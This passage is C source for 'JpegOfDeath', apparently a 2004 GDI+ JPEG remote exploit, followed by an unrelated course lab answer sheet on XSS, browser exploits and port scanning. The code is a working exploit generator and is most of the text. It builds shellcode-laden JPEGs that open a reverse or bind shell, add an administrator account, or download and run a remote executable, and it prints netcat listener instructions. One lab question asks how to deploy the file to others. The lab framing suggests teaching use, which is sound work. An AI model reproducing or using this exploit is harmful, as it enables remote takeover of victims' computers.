"\x51\x89\xe1\x6a\x01\x51\x6a\x03\xff\x76\x1c\x6a\x00\xff\x56\x14"
"\xff\x56\x0c\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24\x18"
"\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01"
"\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38"
"\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1"
"\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04"
"\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";

char header1[] =
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64"
"\x00\x64\x00\x00\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00"
"\x04\x00\x00\x00\x0A\x00\x00\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65"
"\x00\x64\xC0\x00\x00\x00\x01\xFF\xFE\x00\x01\x00\x14\x10\x10\x19"
"\x12\x19\x27\x17\x17\x27\x32\xEB\x0F\x26\x32\xDC\xB1\xE7\x70\x26"
"\x2E\x3E\x35\x35\x35\x35\x35\x3E";

char setNOPs1[] =
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

char setNOPs2[] =
"\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

char header2[] =
"\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x01\x15\x19\x19"
"\x20\x1C\x20\x26\x18\x18\x26\x36\x26\x20\x26\x36\x44\x36\x2B\x2B"
"\x36\x44\x44\x44\x42\x35\x42\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\xFF\xC0\x00"
"\x11\x08\x03\x59\x02\x2B\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01"
"\xFF\xC4\x00\xA2\x00\x00\x02\x03\x01\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x03\x04\x01\x02\x05\x00\x06\x01\x01\x01\x01"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02"
"\x03\x10\x00\x02\x01\x02\x04\x05\x02\x03\x06\x04\x05\x02\x06\x01"
"\x05\x01\x01\x02\x03\x00\x11\x21\x31\x12\x04\x41\x51\x22\x13\x05"
"\x61\x32\x71\x81\x42\x91\xA1\xC1\x52\x23\x14\xB1\xD1\x62\x15\xF0"
"\xE1\x72\x33\x06\x82\x24\xF1\x92\x43\x53\x34\x16\xA2\xD2\x63\x83"
"\x44\x54\x25\x11\x00\x02\x01\x03\x02\x04\x03\x08\x03\x00\x02\x03"
"\x01\x00\x00\x00\x00\x01\x11\x21\x31\x02\x41\x12\xF0\x51\x61\x71"
"\x81\x91\xA1\xB1\xD1\xE1\xF1\x22\x32\x42\x52\xC1\x62\x13\x72\x92"
"\xD2\x03\x23\x82\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00"
"\x3F\x00\x0F\x90\xFF\x00\xBC\xDA\xB3\x36\x12\xC3\xD4\xAD\xC6\xDC"
"\x45\x2F\xB2\x97\xB8\x9D\xCB\x63\xFD\x26\xD4\xC6\xD7\x70\xA4\x19"
"\x24\x50\xCA\x46\x2B\xFC\xEB\x3B\xC7\xC9\xA5\x4A\x8F\x69\x26\xDF"
"\x6D\x72\x4A\x9E\x27\x6B\x3E\xE6\x92\x86\x24\x85\x04\xDB\xED\xA9"
"\x64\x8E\x6B\x63\x67\x19\x1A\xA5\xE7\xB8\x28\x3D\x09\xAB\x5D\x5F"
"\x16\xF7\x8C\xED\x49\x4C\xF5\x01\xE6\xE5\xD5\x1C\x49\xAB\x10\x71"
"\xA6\x36\x9B\x93\x24\x61\x00\x0F\x61\xEC\x34\xA7\x9C\x23\xF4\x96"
"\xC6\xE6\xAF\xB7\x80\x76\xEF\x93\xF0\xAA\x28\x8A\x6B\xE0\x18\xC0"
"\xA4\x9B\x7E\x90\x39\x03\xC2\x90\xDC\x43\x31\x91\x62\x91\x86\x23"
"\x35\x35\xA2\x80\x4D\xFA\x72\x31\x07\x9D\x03\x70\xA8\x93\x24\x4F"
"\x89\x51\x83\x5E\xA4\x2E\x7A\xC0\x7D\xA9\x8A\x10\x61\x64\x07\xFA"
"\x88\xC6\x89\x26\xDA\x0F\x20\xBD\xB9\x16\xD2\xA8\xE8\x91\x3F\x1A"
"\xE2\xBA\xF0\xBE\x74\xAB\x1D\xC4\x44\x15\x1A\x8A\x9C\xC7\x2A\x6B"
"\xA3\x33\xB7\x1E\x88\x47\x69\xA9\x64\x68\x26\xC1\x97\x0B\xD6\x86"
"\x8B\x1B\x29\xC6\x87\xE4\xC7\xFD\xCC\x53\x11\xA5\x9C\x62\x6A\xE5"
"\x40\x37\x61\x89\xF6\xB2\x9C\x2A\x7C\xFD\x05\x6A\x30\x5F\x52\x02"
"\xEB\x72\xBF\x7D\x74\x4C\x23\xB9\x8F\xD8\x78\x67\x54\x59\x64\x47"
"\xC5\x75\x21\x18\xD5\xE3\x58\xE1\x72\x63\xBF\x6D\xBD\xCB\xCA\x82"
"\x65\xE7\xDB\x09\x54\x4F\x0D\x95\x86\x76\xE3\xF2\xA0\x48\x82\x55"
"\xD7\xA6\xCE\xA7\xAA\xDC\x6A\xF1\xA9\x8E\xE0\x35\xC1\xCA\xA1\xD4"
"\x93\xD2\xD6\x39\x95\x3C\x6B\x46\x60\xAC\xC1\x3B\x60\xC9\x70\x84"
"\x8E\xA1\x9A\x9A\x20\x01\x94\xCA\x08\x91\x53\xDC\x01\xB1\xB5\x12"
"\x37\x11\xC6\xC1\xAC\xF1\x11\xD4\x9C\x6B\x3E\x69\x76\xF0\x1D\x7B"
"\x52\x6D\xC9\xA8\x66\x94\xBB\x79\x8F\x7E\xDE\x17\xFD\x4D\xAB\x1E"
"\x76\x7A\xA3\x2B\xE2\x50\x06\xB7\x2C\xEB\x2A\x49\xC9\xEA\x4E\x9B"
"\xE7\xCA\xAF\x1E\xEC\x23\xDC\x8B\xE1\x6B\x5F\x1A\x9B\xE8\x49\x2E"
"\x63\xE5\x03\x32\xCD\x19\xB8\x23\x10\x78\x1F\x85\x5C\x15\x8C\x97"
"\x84\x9B\xDB\x15\x35\x9F\x16\xE0\x1E\x86\xB9\x8F\x97\x11\x4E\xDA"
"\x35\x02\x45\x25\x93\xF8\x55\x24\x17\xB9\x1B\xF5\xC8\x07\xA9\xE2"
"\x2A\x76\xB0\xC2\x37\x01\x95\xAD\x81\xB6\x1C\x6A\xA2\x38\xD9\xAE"
"\xCA\x59\x18\x75\x25\xFF\x00\x81\xAE\xD8\xE8\xBB\x47\x62\xAC\xB7"
"\xB6\xA1\x8D\x40\xE3\x86\x65\x6D\x1E\xDB\x89\x2F\x9D\xCD\x6B\x24"
"\x62\x41\x61\x89\xAC\x2D\x8B\x3E\xB6\x68\xC0\x63\x73\x70\x6B\x6B"
"\x6A\xA1\x7A\xAC\x56\xE7\x11\x56\x58\xD4\x13\xA4\x0B\xB6\xEB\xB3"
"\x3B\x47\x22\x95\xD3\x53\x2E\xEA\x19\x86\x96\xF7\x03\x83\x52\x9E"
"\x54\xAB\x6E\x58\x63\x7C\x33\xCE\x93\xB1\x19\x1C\xE9\xDB\xAA\x35"
"\xBF\x46\x8D\xD4\xD2\x56\xE0\xE0\x33\xA1\x4D\x0A\x4E\x3B\xB1\xCD"
"\xD4\x06\x44\x56\x4A\xCD\x24\x26\xEA\x6D\x7A\x87\xDC\x3B\x60\x6D"
"\xFC\x2A\x86\x1B\x97\x36\x6D\x42\x04\xA0\x11\xEE\xE7\x46\x22\x35"
"\xD5\x26\xB0\x1C\x0B\x7C\x69\x5F\x06\xEC\x5A\xC5\x0B\x46\x70\x27"
"\xF2\xD4\x79\xAD\x89\xDA\x30\x74\xBD\x98\xE4\x68\x58\x86\xE4\x1B"
"\x69\xB9\xDC\x2B\x30\x87\x48\x53\xC5\x85\x3B\xDD\x8A\x4E\xB5\x42"
"\xB2\x8C\x6E\x2C\x01\xF8\x56\x04\x7B\xC9\xA3\x05\x4F\xB4\xD5\xA2"
"\xDF\xF6\xFD\xC6\xE2\xA7\x3C\x89\x24\xFE\xA9\x5E\xC3\xD4\x6D\xF7"
"\x85\xC9\x59\x39\x63\x59\x9B\xFF\x00\x06\x1A\x5E\xFA\x69\x0A\x46"
"\x2B\xC0\x9F\xC2\x91\x8B\xC9\x40\x58\x16\xBD\xF2\xC0\xD3\x3B\x7F"
"\x2D\xA9\xBB\x2E\x49\x42\x6D\x52\x70\x39\x62\x9F\x08\x73\x6F\x20"
"\x09\x64\x00\x01\x83\x2B\x00\xD5\x97\xBC\xDC\xF6\x9C\xA7\x66\xEA"
"\xD9\xB6\x9F\xE1\x56\xDE\xBA\xEC\x65\xB4\x44\xD8\xE3\x8D\x52\x2F"
"\x36\xCE\x74\x33\x7E\x9F\x2E\x22\x99\x8B\xC9\x6D\x5A\x6D\x9E\xA8"
"\x22\xC7\x0C\xA8\x62\x3D\x17\x1D\x2F\xC8\xFA\xD4\xB0\x9E\x14\x45"
"\x45\xD5\x6E\x96\x04\xE1\xF1\xA0\x37\x90\x5B\xD8\x7F\x81\x57\x1B"
"\xC8\xD5\x48\x27\x0E\x3C\x6B\x3D\xCD\x44\x15\x92\x41\x25\x94\x82"
"\xAE\x0E\x42\x97\x8D\x8C\x6D\xAE\x56\xB8\x26\xD8\x0F\xE3\x43\x93"
"\x73\x18\x75\x28\xD7\xF8\xD5\xFF\x00\x74\xE4\x18\xC2\x82\xAC\x6F"
"\x86\x7F\x2A\x4C\xBE\xE5\xFC\xD2\x22\xCC\x9A\x32\xD1\x7C\x7D\x68";

char admin_header0[]=
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x60\x00\x00"
"\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00\x04\x00\x00\x00\x0A\x00\x00"
"\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\xC0\x00\x00\x00\x01"
;

char admin_header1[]=
"\xFF\xFE\x00\x01"
;

char admin_header2[]=
"\x00\x14\x10\x10\x19\x12\x19\x27\x17\x17\x27\x32"
;

char admin_header3[]=
"\xEB\x0F\x26\x32"
;

char admin_header4[]=
"\xDC\xB1\xE7\x70"
;

char admin_header5[]=
"\x26\x2E\x3E\x35\x35\x35\x35\x35\x3E"
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8"
;

char admin_header6[]=
"\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07"
"\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14"
"\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C"
"\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C"
"\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D"
"\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
"\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\x00\x03\x03\x01\x22"
"\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01"
"\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05"
"\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\x02\x01\x03\x03\x02"
"\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05"
"\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08"
"\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17"
"\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43"
"\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64"
"\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85"
"\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4"
"\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3"
"\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1"
"\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8"
"\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A"
"\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04"
"\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31\x06\x12\x41"
"\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1\xB1\xC1\x09\x23"
"\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x18\x19"
"\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47"
"\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68"
"\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88"
"\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7"
"\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6"
"\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5"
"\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00"
"\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F"
;

// Code...
char newshellcode[2048];

unsigned char xor_data(unsigned char byte)
{
return(byte ^ 0x92);
}

void print_usage(char *prog_name)
{
printf(" Exploit Usage:\n");
printf("\t%s -r your_ip | -b [-p port] <jpeg_filename>\n\n", prog_name);
printf("\t\t\t -a | -d <source_file> <jpeg_filename>\n\n");
printf(" Parameters:\n\n");
printf("\t-r your_ip or -b\t Choose -r for reverse connect attack mode\n\t\t\t\tand choose -b for a bind attack.
By default\n\t\t\t\t if you don't specify -r or-b then a bind\n\t\t\t\t attack will be generated.\n\n");
printf("\t-a or -d\t\t The -a flag will create a user X with pass X, \n\t\t\t\t on the admin localgroup. The -d flag,
will\n\t\t\t\t execute the source http path of the file\n\t\t\t\t given.\n");
printf("\n\t-p (optional)\t\t This option will allow you to change the port \n\t\t\t\t used for a bind or reverse
connect attack.\n\t\t\t\t If the attack mode is bindthen the\n\t\t\t\t victim will open the -p port. If the
attack\n\t\t\t\t modeis reverse connect then the port you\n\t\t\t\t specify will be the one you wantto listen
\n\t\t\t\t on so the victim can connect to you\n\t\t\t\t right away.\n\n");
printf(" Examples:\n");
printf("\t%s -r 68.6.47.62 -p 8888 test.jpg\n", prog_name);
printf("\t%s -b -p 1542 myjpg.jpg\n", prog_name);
printf("\t%s -a whatever.jpg\n", prog_name);
printf("\t%s -d http://webserver.com/patch.exe exploit.jpg\n\n", prog_name);
printf(" Remember if you use the -r option to have netcat listening\n");
printf(" on the port you are using for the attack so the victim will\n");
printf(" be able to connect to you when exploited...\n\n");
printf(" Example:\n");
printf("\tnc.exe -l -p 8888");
exit(-1);
}

int main(int argc, char *argv[])
{
FILE *fout;
unsigned int i = 0,j = 0;
int raw_num = 0;
unsigned long port = 1337; // default port for bind and reverse attacks
unsigned long encoded_port = 0;
unsigned long encoded_ip = 0;
unsigned char attack_mode = 2; // bind by default
char *p1 = NULL, *p2 = NULL;
char ip_addr[256];
char str_num[16];
char jpeg_filename[256];
WSADATA wsa;

printf(" +------------------------------------------------+\n");
printf(" | JpegOfDeath - Remote GDI+ JPEG Remote Exploit |\n");
printf(" | Exploit by John Bissell A.K.A. HighT1mes |\n");
printf(" | TweaKed By M4Z3R For GSO |\n");
printf(" | September, 23, 2004 |\n");
printf(" +------------------------------------------------+\n");

if (argc < 2)
print_usage(argv[0]);


 // process commandline
for (i = 0; i < (unsigned) argc; i++)
{

 if (argv[i][0] == '-')
 {

 switch (argv[i][1])
  {
  

  // reverse connect
  case 'r':
  strncpy(ip_addr, argv[i+1], 20);
   attack_mode = 1;
  break;
  
  // bind
  case 'b':
   attack_mode = 2;
  break;
  
  // Add.Admin
  case 'a':
   attack_mode = 3;
  break;

  // DL
  case 'd':
   attack_mode = 4;
  break;

  // port
  case 'p':
  port = atoi(argv[i+1]);
  break;
  }
 }
}

strncpy(jpeg_filename, argv[i-1], 255);
fout = fopen(argv[i-1], "wb");
       
if( !fout ) {
printf("Error: JPEG File %s Not Created!\n", argv[i-1]);
return(EXIT_FAILURE);
}

  // initialize the socket library

if (WSAStartup(MAKEWORD(1, 1), &wsa) == SOCKET_ERROR) {
printf("Error: Winsock didn't initialize!\n");
exit(-1);
}

encoded_port = htonl(port);
encoded_port += 2;

if (attack_mode == 1)
{
 
  // reverse connect attack
 
 reverse_shellcode[184] = (char) 0x90;
 reverse_shellcode[185] = (char) 0x92;
 reverse_shellcode[186] = xor_data((char)((encoded_port >> 16) & 0xff));
 reverse_shellcode[187] = xor_data((char)((encoded_port >> 24) & 0xff));

 p1 = strchr(ip_addr, '.');
 strncpy(str_num, ip_addr, p1 - ip_addr);
 raw_num = atoi(str_num);
 reverse_shellcode[179] = xor_data((char)raw_num);

 p2 = strchr(p1+1, '.');
 strncpy(str_num, ip_addr + (p1 - ip_addr) + 1, p2 - p1);
 raw_num = atoi(str_num);
 reverse_shellcode[180] = xor_data((char)raw_num);

 p1 = strchr(p2+1, '.');
 strncpy(str_num, ip_addr + (p2 - ip_addr) + 1, p1 - p2);
 raw_num = atoi(str_num);
 reverse_shellcode[181] = xor_data((char)raw_num);

 p2 = strrchr(ip_addr, '.');
 strncpy(str_num, p2+1, 5);
 raw_num = atoi(str_num);
 reverse_shellcode[182] = xor_data((char)raw_num);
}

if (attack_mode == 2)
{
  // bind attack
 
 bind_shellcode[204] = (char) 0x90;
 bind_shellcode[205] = (char) 0x92;
 bind_shellcode[191] = xor_data((char)((encoded_port >> 16) & 0xff));
 bind_shellcode[192] = xor_data((char)((encoded_port >> 24) & 0xff));
}


if (attack_mode == 4)
{

  // Http DL
     
   strcpy(newshellcode,http_shellcode);
      strcat(newshellcode,argv[2]);
      strcat(newshellcode,"\x01");
     
}
  
  // build the exploit jpeg

if ( attack_mode != 3)
{
 j = sizeof(header1) + sizeof(setNOPs1) + sizeof(header2) - 3;
     
 for(i = 0; i < sizeof(header1) - 1; i++)
 fputc(header1[i], fout);
 
 for(i=0;i<sizeof(setNOPs1)-1;i++)
 fputc(setNOPs1[i], fout);
 
 for(i=0;i<sizeof(header2)-1;i++)
 fputc(header2[i], fout);
 
 for( i = j; i < 0x63c; i++)
 fputc(0x90, fout);
 j = i;
}

if (attack_mode == 1)
{
 for(i = 0; i < sizeof(reverse_shellcode) - 1; i++)
 fputc(reverse_shellcode[i], fout);
}

else if (attack_mode == 2)
{
 for(i = 0; i < sizeof(bind_shellcode) - 1; i++)
 fputc(bind_shellcode[i], fout);
}

else if (attack_mode == 4)
{
 for(i = 0; i<sizeof(newshellcode) - 1; i++)
 {fputc(newshellcode[i], fout);}
 
 for(i = 0; i< sizeof(admin_shellcode) - 1; i++)
 {fputc(admin_shellcode[i], fout);}
}

else if (attack_mode == 3)
{

  for(i = 0; i < sizeof(admin_header0) - 1; i++){fputc(admin_header0[i], fout);}
  
  for(i = 0; i < sizeof(admin_header1) - 1; i++){fputc(admin_header1[i], fout);}
 
  for(i = 0; i < sizeof(admin_header2) - 1; i++){fputc(admin_header2[i], fout);}
  
  for(i = 0; i < sizeof(admin_header3) - 1; i++){fputc(admin_header3[i], fout);}
 
  for(i = 0; i < sizeof(admin_header4) - 1; i++){fputc(admin_header4[i], fout);}
 
  for(i = 0; i < sizeof(admin_header5) - 1; i++){fputc(admin_header5[i], fout);}
  
  for(i = 0; i < sizeof(admin_header6) - 1; i++){fputc(admin_header6[i], fout);}
  
  for (i = 0; i<1601; i++){fputc('\x41', fout);}

  for(i = 0; i < sizeof(admin_shellcode) - 1; i++){fputc(admin_shellcode[i], fout);}

 
}

if (attack_mode != 3 )
{
 for(i = i + j; i < 0x1000 - sizeof(setNOPs2) + 1; i++)
 fputc(0x90, fout);
 
 for( j = 0; i < 0x1000 && j < sizeof(setNOPs2) - 1; i++, j++)
 fputc(setNOPs2[j], fout);
       
}

fprintf(fout, "\xFF\xD9");


fcloseall();

WSACleanup();

printf(" Exploit JPEG file %s has been generated!\n", jpeg_filename);

return(EXIT_SUCCESS);
}

Answer Sheet Lab 12

Group Number: _______________

Member Names: _________________________     _________________________

Section 1: Cross-site Scripting and Installation of Apache Web Server

Q 1.1: The form in this lab used GET to submit data to the server.  Another method is POST.  Would using POST help increase security in this case and why/why not?

Q 1.2: One way we can prevent bad user input is to have JavaScript that checks the user input on the form page.  However, that does not prevent the malicious link attack since the link bypasses the form page completely.  What can the web server administrator do to prevent against bad input?
Screenshot #1: Take a screenshot of what you see
Section 2: Web-based JavaScript Exploits
Q 2.1. What just happened? Hint: Right Click, and View Source. Check out what the code in the <script> </script> brackets are doing.

Screenshot #2: After discovering what changed, take a screenshot that would prove you understand what happened.

Screenshot #3: Click on the first link marked ExploitLink. Save the file to our desktop.  Take a screenshot

Screenshot #4: Click on the second link marked NonExploitLink.  Take a screenshot.
Q 2.2: What is the difference between the two downloads?  Explain the potential implications of the difference.

Section 3: Internet Browsers

Q 3.1: What potential problems can you see with the default settings of Internet Explorer?

Q 3.2: Take a look at the names of some of the sites that are now listed in the restricted zone.  List some of the names that are well known to you and what do most of the websites on the list have common?
Q 3.3: What other measures can a computer user take to further protect their system?

Q 3.4:  Was the Mozilla Firefox browser affected by any of the exploits from the scripts from the previous section?  If so, which ones?  What could be the explanation for your results?
Section 4: Advanced JPEG (GDI+) Exploit
Q 4.1: What is this exploit capable of doing to a remote machine?

Q 4.2: Once you generate the JPEG file using this exploit file, suggest some ways to deploy this file to others?

Q 4.3: What is the scope of the vulnerability?

Section 5: ShieldsUP!! Internet Profiling

Q 5.1: What is the “machine name” and IP address of the computer that you are using?

Q 5.2: Look at the results that have been displayed.  What is the status of all the ports that were scanned?

Q 5.3: Compare the results of this test from two separate computers.  What differences do you notice and what factors contribute to this?

How long did it take you to complete this lab? Was it an appropriate length lab?

What corrections and or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You may cross out and edit the text of the lab on previous pages to make corrections/suggestions. Note that part of your lab grade is what improvements you make to this lab.
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